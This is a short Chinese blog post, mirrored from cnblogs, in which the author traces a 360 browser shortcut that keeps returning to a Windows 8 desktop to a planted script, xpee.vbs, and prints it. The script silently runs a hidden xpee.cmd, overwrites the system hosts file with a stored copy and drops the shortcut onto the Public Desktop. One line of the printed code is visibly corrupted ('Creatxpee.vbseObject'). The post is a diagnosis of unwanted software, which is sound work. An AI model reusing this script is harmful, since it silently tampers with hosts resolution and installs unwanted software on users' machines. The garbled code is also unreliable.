码迷,mamicode.com
首页 > 其他好文 > 详细

xpee.vbs

时间:2017-05-13 10:01:23      阅读:329      评论:0      收藏:0      [点我收藏+]

标签:span   use   shell   files   public   桌面   set   users   log   

xpee.vbs

 Win 8安装之后每一次重启桌面都会有一个360浏览器的快捷方式,终于找到原因了,

在Windows/System下面有这么个文件;

 

Set ws = CreateObject("Wscript.Shell") 
ws.run "cmd /c xpee.cmd",vbhide
Dim fso, MyFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile("C:\WINDOWS\system\hosts")
MyFile.Copy ("C:\WINDOWS\system32\drivers\etc\hosts")

Set fso = Creatxpee.vbseObject("Scripting.FileSystemObject")
Set MyFile = fso.GetFile("C:\WINDOWS\system\360安全浏览器7.lnk")
MyFile.Copy ("C:\Users\Public\Desktop\360安全浏览器7.lnk")

 

xpee.vbs

标签:span   use   shell   files   public   桌面   set   users   log   

原文地址:http://www.cnblogs.com/stono/p/6847917.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!